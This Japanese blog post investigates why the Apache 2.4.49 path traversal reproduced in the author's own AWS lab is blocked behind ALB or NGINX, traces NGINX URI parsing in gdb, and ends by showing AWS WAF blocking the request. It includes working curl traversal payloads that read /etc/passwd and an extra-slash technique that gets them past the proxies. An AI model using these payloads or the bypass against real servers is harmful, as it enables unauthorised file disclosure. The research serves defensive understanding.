ALB配下のApache HTTP Serverに対して脆弱性(CVE-2021-41733)の再現ができない理由をNGINXの挙動から考えてみた
ALBの実装はわからないのであくまで考察となります。
ALBについて考えてみたと謳っていますが、メインはNGINXのソースリーディングです。
少し長いですが、AWS環境でパストラバーサル攻撃の検証を行う際には頭の片隅に入れておくと良いかもしれません。
背景
2021/10/5にApache HTTP Server(以下Apache)の脆弱性が報告されました(CVE-2021-41733, CVE-2021-42013)。
Apacheの2.4.49および2.4.50においてパストラバーサル攻撃およびリモートコード実行の可能性があります。
※Amazon Linux2でyum経由でインストールすると2021/10/11時点では2.4.48がインストールされ、現在(2021/10/28)は2.4.51がインストールされるため今回は影響無しとなります。
2.4.49もしくは2.4.50をインストールして検証したいため、ソースからコンパイルして脆弱性を確認しました。
EC2インスタンスにApache2.4.49を構成して、下記のようにIPアドレスを指定してコマンドを実行することで/etc/passwd
ファイルを表示させることに成功しました。
$ curl [EC2のIPアドレス]/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e
は.
をURIエンコードしたものであるため、単純な/../
が連続したリクエストを送り、ルートディレクトリから遡ったアクセスが可能ということになります。
一方、ALB配下のEC2に対して同様に実行すると400 Bad Request
が返り、再現することができませんでした。
今回はこのような挙動になった理由を探ろうとした記事となります。
[補足]
下記サイオス社の記事を参考にさせていただいて、CentOS8 Streamにapache2.4.49をインストールし、httpd.conf
ファイルを修正しました。
規定だと``ディレクティブでRequire all denied
と設定されています。
この設定がRequire all granted
になっている時のみ今回の脆弱性によってパストラバーサル攻撃が可能になります。
Apache HTTP Serverの脆弱性情報(Critical: CVE-2021-42013, Important: CVE-2021-41773, Moderate: CVE-2021-41524) (PoCつき)と新バージョン(2.4.51) OSS脆弱性ブログ
いきなりまとめ
- ALBやNGINXがWebサーバの前段でパストラバーサル攻撃を防ぐ可能性があります。
- 今回、NGINXは相対パスを解決しようとした際に異常終了することで結果的にパストラバーサル攻撃を防いでいました。(ALBも似たようなことが起きている可能性が高い)
- ALBやNGINXがパストラバーサル攻撃を防いでいても意図して防いでいるわけではなく、少し異なるパターンで突破される可能性もあります。(今回は
/
を増やすと突破可能) - 気付きにくい脆弱性であってもWAFを適用することで典型的な攻撃を防ぐことができるため、有効です。
アクセスログ確認
ALB配下のApacheに対してパストラバーサル攻撃を実行した際のレスポンスをより詳細に見てみます。
(※今回、ALBに対してALIASレコードでwww.masukawa.classmethod.info
を設定しています。)
$ curl www.masukawa.classmethod.info/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --verbose * Trying 13.113.116.38:80... * Connected to www.masukawa.classmethod.info (13.113.116.38) port 80 (#0) > GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1 > Host: www.masukawa.classmethod.info > User-Agent: curl/7.79.1 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 400 Bad Request < Server: awselb/2.0 < Date: Thu, 21 Oct 2021 07:07:19 GMT < Content-Type: text/html < Content-Length: 122 < Connection: close < <html> <head><title>400 Bad Request</title></head> <body> <center><h1>400 Bad Request</h1></center> </body> </html> * Closing connection 0
このリクエストの際のログを確認してみました。
まず、Apacheにはアクセスログが残りませんでした。
ALBが400 Bad Request
を返しており、ApacheにHTTPリクエストが送られていないようです。
そのため、ALBのアクセスログについてのみ確認します。
http 2021-10-21T07:07:19.118127Z app/test-apache/bfaa42bb72f53167 xxx.xxx.xxx.xxx:52489 - -1 -1 -1 400 - 61 272 "GET http://test-apache-284878154.ap-northeast-1.elb.amazonaws.com:80- HTTP/1.1" "-" - - - "-" "-" "-" - 2021-10-21T07:07:19.098000Z "-" "-" "-" "-" "-" "-" "-"
クライアントからのアクセスは下記のように記録されております。
GET http://verification-apache-1032368306.ap-northeast-1.elb.amazonaws.com:80- HTTP/1.1
Route53でALIASレコードの設定を行っているのに関わらず、ALB作成時に払い出されたDNS名が表示されており、パスが表示される欄は-
となっております。
通常"GET http://www.masukawa.classmethod.info:80/ HTTP/1.1"
のようにホスト:ポート+パス
と記載されるため、通常とは明らかに異なる形式でログが残っています。
次に、ALBがdesync攻撃を回避するためにRFC7230に準拠していないリクエストをブロックしていないかを確認します。
アクセスログにおいて末尾の2項目がこの機能に関連する部分になります。
"classification":desync緩和の分類。リクエストがRFC7230に準拠していない場合に設定される。リクエストがRFC7230に準拠している場合、"-"に設定される。
"classification_reason":分類理由コード。リクエストがRFC7230に準拠している場合は"-"に設定される。
※Application Load Balancerのアクセスログ
今回はclassification
およびclassification_reason
は-
になっていました。
クライアントが HTTP 仕様を満たさない誤った形式のリクエストを送信した場合、ALBが400 Bad Request
を返却することはAWSのドキュメントからも確認できます。
今回に関しては、RFC7230に準拠はしていないからブロックされたわけではないようです。
※Application Load Balancer のトラブルシューティング
NGINXを構成した際のトラバーサル攻撃
この件を相談したところ、弊社の鈴木亮にNGINXやALBが意図せずパストラバーサル攻撃を防いでいるかもしれないと記載された記事を紹介していただきました。
NGINX may be protecting your applications from traversal attacks without you even knowing
さっそくNGINXをリバースプロキシとして構成して再現を試みました。
構成図は下記になります。
プロキシサーバとして構成するためにnginx.conf
のhttpディレクティブを下記のように設定します。
http { log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; -------------中略---------------------- server { listen 80; listen [::]:80; server_name _; # root /usr/share/nginx/html; # Load configuration files for the default server block. include /etc/nginx/default.d/*.conf; location / { # WEBリクエストをapacheサーバ80番ポートへリダイレクト proxy_pass http://10.0.1.175:80/; } -------------中略---------------------- } }
この状態でALBに実施したのと同様のトラバーサル攻撃を試みたところ、400 Bad Request
が返却されました。
$ curl http://<Nginxを構築したサーバのIPアドレス>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd <html> <head><title>400 Bad Request</title></head> <body> <center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.20.0</center> </body> </html>
先述のRotem Barさんの記事によるとmerge_slashes
パラメータをoffにして、URIのパス部分の先頭に余分な/
をつけることでNGINXを経由した場合もパストラバーサル攻撃を実行できると記載されていました。
/../../../etc/passwd
のような攻撃はブロックされるが、/////////../../../etc/passwd
のようにアクセスすればバイパスできるということのようです。
ngx_http_parse_complex_uri(ngx_http_request_t *r, ngx_uint_t merge_slashes)
が実際にURIの解析を行っている関数ということは記載がありましたが、/
を増やすことでバイパスできる理由がわからなかったことと、少しでもNGINXの挙動を深く知ることでALBの挙動についても考察できると思ったため、NGINXの挙動を追ってみることにしました。
次からgdbを使用してこの時の挙動を見てみます。
NGINXソースリーディング
まず、NGINXをインストールします。
今回は最適化をさせずにコンパイルしたいことからソースからコンパイルします。
せっかくソースコードからダウンロードするので現時点での最新版(1.21.3)をインストールすることとします。
詳細なインストール手順は最後におまけとして記載します。
gdbでデバッグするために、NGINXのworkerプロセスのプロセス番号(PID)を確認します。
$ ps aux | grep nginx root 10002 0.0 0.0 20884 408 ? Ss 13:20 0:00 nginx: master process ./nginx nobody 10003 0.0 0.2 21332 2748 ? S 13:20 0:00 nginx: worker process ssm-user 10033 0.0 0.0 121268 956 pts/0 S+ 13:33 0:00 grep nginx
gdbを立ち上げて、workerプロセスのプロセス番号を指定してアタッチします。
$ sudo gdb $ (gdb)attach 10003
今回はngx_http_parse_complex_uri(ngx_http_request_t *r, ngx_uint_t merge_slashes)
でURIを解析していることがわかっているのでこの関数にbreakpointを設定します。
(どのブレークポイントにも引っかからなかった際の挙動が怪しかったのでmain関数にも貼りました)
b main b ngx_http_parse_complex_uri
実行します。
run
Start it from the beginning?
と聞かれるのでNoを選びます。
この状態でcurlでNGINXにリクエストを送り、stepで1行ずつ動かしながら変数の状態等を確認します。
今回挙動を確認する関数はNGINXの中でもnginx/src/http/ngx_http_parse.cに存在します。
ngx_http_parse_complex_uri
関数の概要ですが、引数として渡されるngx_http_request_t *r
にリクエストされたURI等の情報が格納されています。
その上で、変数state
で状態を管理しながらURIのパスを解析します。
解析の主な内容はURIエンコーディングのデコードと相対パスの解決です。
pが解析するURIの開始位置を指すポインタであり、uは解析した後のURIを格納する位置を指すポインタです。
それぞれ引数rから取得します。
また、stateの初期値はsw_usual
となります。
state = sw_usual; p = r->uri_start; u = r->uri.data;
ch=*p++
でpをインクリメントさせながらchにURIを1文字ずつ取得し、stateとchの値によって行う処理を決定します。
また、*u++ = ch
でuに処理した後の文字を格納した後、uには次の文字を格納する位置を保持させます。
uの初期値が示す地点から、処理が終わった際にuが示す地点までに解析処理を終えたURIのパスが格納されます。
状態遷移図は下記のようになります。
?
や#
など他の特殊文字が入力された時のフローも存在しますが、今回の話に絡まないため省略しています。
sw_quoted
とsw_quoted_state
はURIデコードを実行するための状態で、入力に%
が渡された際に入ります。
/../
の入力を発見したらポインタを4つ分戻して、さらに次の/
が見つかるまでロールバックする(実際はポインタを戻す)処理が入ります。
実際に、/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
がリクエストされた際の挙動を確認します。
今回uは0xde3a78
でスタートします。(この値はr->uri.data
として引数から渡されます)
/
およびc
等の特殊文字以外の文字は*u++ = ch;
によってそのまま格納されていきます。
/cgi-bin/
まで読んだ時、uは0xde3a81
、stateはsw_slash
であり、下記状態になります。
ch=%
が渡されると、%
を含めて3文字分をURIエンコーディングされた文字列とみなし、デコードしようとします。
さらに、デコードした結果をchとし、%
が入力された時のstateを使用して次の処理に移ります。
したがって、/%2e
が入力された後、ch=.
state=sw_slash
となります。
ゆえに、/%2e%2e
を処理する際、1つ目の.
でsw_dot
状態に入り、2つ目の.
で.
が連続した状態を表すsw_dot_dot
に入ります。
stateがsw_dot_dot
でch=/
が入力されると下記処理が入ります。これは/../
の分ロールバックする処理になります。
u -= 4
この時、/../
の分ロールバックした後に、さらに次の/
までロールバックします。
つまり、uが指す位置に/
が格納されている地点までuをデクリメントし続けます。
この操作が一つ上の階層への移動に相当します。
/
を見つけたらuを一つだけ進め、次の文字の処理に移ります。
今回は再度/../
が入力されるため、下記の状況になります。
したがって、u-=4
が実行された後、uは書きこみ始めた地点を超えてロールバックすることになります。
u-=4
の後は下記の処理が入ります(次の/
までロールバックする処理)。
u uri.data
に相当する、つまり、書き込み始めを超えてロールバックした場合、NGX_HTTP_PARSE_INVALID_REQUEST
を返して解析を終了します。
for ( ;; ) { if (u < r->uri.data) { return NGX_HTTP_PARSE_INVALID_REQUEST; } if (*u == '/') { u++; break; } u--; }
関数ngx_http_parse_complex_uri()
自体は下記のように呼び出されており、戻り値がNGX_OK
で無ければ、不正なリクエストとしてリクエストを終了します。
if (ngx_http_parse_complex_uri(r, cscf->merge_slashes) != NGX_OK) { r->uri.len = 0; ngx_log_error(NGX_LOG_INFO, r->connection->log, 0, "client sent invalid request"); ngx_http_finalize_request(r, NGX_HTTP_BAD_REQUEST); return NGX_ERROR; }
NGINX配下のApacheにパストラバーサル攻撃するには?
まず、URIの/
を増やして、/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
のような形でリクエストします。
/
を増やすことでuのスタート位置を超えてロールバックすることがなくなるため、異常終了せずに最後までデコードを完了させることができるようになります。
また、/
を増やしてリクエストする際にmerge_slashes
をオフに設定する必要があります。
merge_slaches
がオンである場合、stateがsw_slash
の状態で/
が入力された場合に、処理をせず次の文字の処理に移ります。
case sw_slash: switch (ch) { case '/': if (!merge_slashes) { *u++ = ch; } break; }
また、NGINXでは配下のサーバにリクエストを投げる際にuri
とrequest_uri
で2種類のパスを使い分けることができます。
uri
はNGINXによってパースされた後のURIのパスで、request_uri
はNGINXが受け取ったURIのパスをそのままリクエストします。
request_uri
でリクエストする際もパーサ自体は走るので/../
が連続するようなURIでアクセスを試みると今回と同じように400 Bad Request
となります。
今回の場合ではuri
は/etc/passwd
であり、request_uri
は/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
となります。
今回NGINX経由でパストラバーサル攻撃を実施するためにはrequest_uri
を使用して配下のサーバにリクエストさせる必要があります。
最終的なnginx.conf
は下記となります。
http { -------------中略--------------------------- merge_slashes off; server { listen 80; server_name xxx.xxx.xxx.xxx; #access_log logs/host.access.log main; location / { # WEBリクエストをapacheサーバ80番ポートへリダイレクト proxy_pass http://10.0.1.175:80/$request_uri; } } }
上記設定で構成したNGINXに対して下記コマンドを実行することでパストラバーサル攻撃を実施することができました。
$ curl http://54.250.240.207/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin polkitd:x:998:996:User for polkitd:/:/sbin/nologin unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin sssd:x:996:993:User for sssd:/:/sbin/nologin setroubleshoot:x:995:992::/var/lib/setroubleshoot:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin cockpit-ws:x:994:991:User for cockpit web service:/nonexisting:/sbin/nologin cockpit-wsinstance:x:993:990:User for cockpit-ws instances:/nonexisting:/sbin/nologin chrony:x:992:989::/var/lib/chrony:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rngd:x:991:988:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin centos:x:1000:1000:Cloud User:/home/centos:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin ssm-user:x:1001:1001::/home/ssm-user:/bin/bash libstoragemgmt:x:990:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin pesign:x:989:985:Group for the pesign signing daemon:/var/run/pesign:/sbin/nologin
ALB配下のApacheにパストラバーサル攻撃するには?
ALB背後のApacheへのトラバーサル攻撃についても考えてみます。
まず、ALBがNGINXと同じようなアルゴリズムでURIを解析していると仮定して、下記2点について確認しました。
- URI内に連続した
/
があったらまとめるか - 相対パスを解決してリクエストを投げているのか(NGINXでの
uri
)、それとも元々のリクエストを配下のサーバにリクエストしているのか(NGINXでのrequest_uri
)
1点目の確認のために、下記リクエストをALBに送信します。
curl http://www.masukawa.classmethod.info/////////index.html
Apacheのアクセスログには/////////index.html
とURIのパスがそのまま記録されます。
NGINXのデフォルト設定時と違い、/
をまとめる処理は入っていないようです。
2点目についてですが、/etc/../etc/../index.html
にアクセスした場合はApacheのアクセスログに/index.html
と記録されます。
したがって、相対パスを解決して解決したURIを配下のWebサーバにリクエストしているようです。
ただ、/etc/%2e%2e/etc/%2e%2e/passwd
にアクセスした場合はApacheのログにそのまま記録されました。
相対パスを解決する機構はありそうですが、URIエンコーディングした場合には特に解決せずにリクエストが送られています。
以上の結果も踏まえて、NGINXと同様に下記リクエストを送信したところ400 Bad Requestが返りました。
curl http://www.masukawa.classmethod.info/////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd <html> <head><title>400 Bad Request</title></head> <body> <center><h1>400 Bad Request</h1></center> </body> </html>
/
をさらに追加して9個以上にした際にALBを介してパストラバーサル攻撃を実施することができました。
curl http://www.masukawa.classmethod.info/////////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin systemd-coredump:x:999:997:systemd Core Dumper:/:/sbin/nologin systemd-resolve:x:193:193:systemd Resolver:/:/sbin/nologin tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin polkitd:x:998:996:User for polkitd:/:/sbin/nologin unbound:x:997:994:Unbound DNS resolver:/etc/unbound:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin sssd:x:996:993:User for sssd:/:/sbin/nologin setroubleshoot:x:995:992::/var/lib/setroubleshoot:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin cockpit-ws:x:994:991:User for cockpit web service:/nonexisting:/sbin/nologin cockpit-wsinstance:x:993:990:User for cockpit-ws instances:/nonexisting:/sbin/nologin chrony:x:992:989::/var/lib/chrony:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rngd:x:991:988:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin centos:x:1000:1000:Cloud User:/home/centos:/bin/bash apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin ssm-user:x:1001:1001::/home/ssm-user:/bin/bash libstoragemgmt:x:990:986:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin pesign:x:989:985:Group for the pesign signing daemon:/var/run/pesign:/sbin/nologin
ALB配下のApache2.4.49に対してCVE-2021-42013を使用してパストラバーサル攻撃を行う際にはNGINXの時よりも多くの/
を付加する必要がありました。
今回の脆弱性では、/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
へリクエストした場合(%2e%2e
が5つ)も、/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
へリクエストした場合(%2e%2e
が4つ)もトラバーサル攻撃を行うことが可能です。
/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
の場合は/
を7つ以上にした場合に、/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
の場合は/
を9つ以上にした場合にALBにブロックされずに攻撃を実行することができています。
ロールバックした時に連続している/
は無視されるのか、はたまた全く違うアルゴリズムで動いているのか、ALBの実装は見れないこともあり、この点についてはわからなかったです。
AWS WAFで防げたのか?
最後にAWS WAFを使用して今回のパストラバーサル攻撃を防ぐことができるか確認してみました。
あくまで%2e%2e
が続く単純なリクエストについてのみ検証します。(今回の脆弱性では他にも脆弱性を利用できるURL文字列が存在します)
また、WAFのログをKinesis Data Firehoseを介してS3に格納して確認します。
(※省略してしまいましたが、ALBはもう一つのsubnet(10.0.2.0/24)にもまたがって配置されています)
ルールは下記AWSマネージドルールを選択します。
Core Rule Set:一般的なルール。OWASPやCVEに記載されているものが含まれる。
先程と同様のパストラバーサル攻撃を実行すると403レスポンスが返りました。
curl http://www.masukawa.classmethod.info/////////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd <html> <head><title>403 Forbidden</title></head> <body> <center><h1>403 Forbidden</h1></center> </body> </html>
この時のログは下記になります。
{ "timestamp": 1635173591638, "formatVersion": 1, "webaclId": "xxxxxxxxxxxxxxxxxxxxxxxxxx", "terminatingRuleId": "AWS-AWSManagedRulesCommonRuleSet", "terminatingRuleType": "MANAGED_RULE_GROUP", "action": "BLOCK", "terminatingRuleMatchDetails": [], "httpSourceName": "ALB", "httpSourceId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "ruleGroupList": [ { "ruleGroupId": "AWS#AWSManagedRulesCommonRuleSet", "terminatingRule": { "ruleId": "GenericLFI_URIPATH", "action": "BLOCK", "ruleMatchDetails": null }, "nonTerminatingMatchingRules": [], "excludedRules": null } ], "rateBasedRuleList": [], "nonTerminatingMatchingRules": [], "requestHeadersInserted": null, "responseCodeSent": null, "httpRequest": { "clientIp": "xxx.xxx.xxxx.xxx", "country": "JP", "headers": [ { "name": "Host", "value": "www.masukawa.classmethod.info" }, { "name": "User-Agent", "value": "curl/7.79.1" }, { "name": "Accept", "value": "*/*" } ], "uri": "/////////cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "args": "", "httpVersion": "HTTP/1.1", "httpMethod": "GET", "requestId": "1-6176c4d7-4253e6be2496fd163ebfc91b" }, "labels": [ { "name": "awswaf:managed:aws:core-rule-set:GenericLFI_URIPath" } ] }
AWS WAFのログよりGenericLFI_URIPATH
によってBLOCKされていることが確認できます。
ローカルファイルインクルージョンを悪用するリクエストが検出されているということで、AWS WAFがパストラバーサル攻撃を防いでいることが確認できます。
最後に
今回は/cgi-bin/%2e%2e/%2e%2e/...
でアクセスできるという情報があり、このリクエストをチェックしてみて問題ないからOKとはならないというのが知見です。
意図せず守ってしまうけど守りきれないという迷惑(?)な状況をつくりだしてしまう可能性があるので、セキュリティチェックの際は頭の片隅に入れておくと良いかもしれません。
パストラバーサル攻撃はAWS WAFで守るようにしましょう!
(おまけ)NGINXインストール
NGINXのコンパイル時に必要となるgccとzlib-develとpcre-develおよび、デバッカであるgdbをインストールします。
$ sudo yum update -y $ sudo yum install gcc gdb zlib-devel pcre-devel
今回は/usr/local
にインストールすることにします。
$ cd /usr/local $ sudo wget http://nginx.org/download/nginx-1.21.3.tar.gz $ sudo tar -xf nginx-1.21.3.tar.gz $ cd nginx-1.21.3
準備が整ったのでコンパイルします。
-O0オプション
が大事です。
頑張ってソースからインストールしても-O0
を付け忘れるとと表示されて、確認したい値を確認できない可能性があります。
$ sudo ./configure --with-debug --with-cc-opt='-O0 -g' $ sudo make $ sudo make install
make install
によって/usr/local
にnginx
ディレクトリが構成されているはずなので移動してバージョン確認を実施します。
$ cd ../nginx/sbin $ sudo ./nginx -V nginx version: nginx/1.21.3 built by gcc 7.3.1 20180712 (Red Hat 7.3.1-13) (GCC) configure arguments: --with-debug --with-cc-opt='-O0 -g'
httpディレクティブにproxy_pass
の設定をして起動します。
$ sudo ./nginx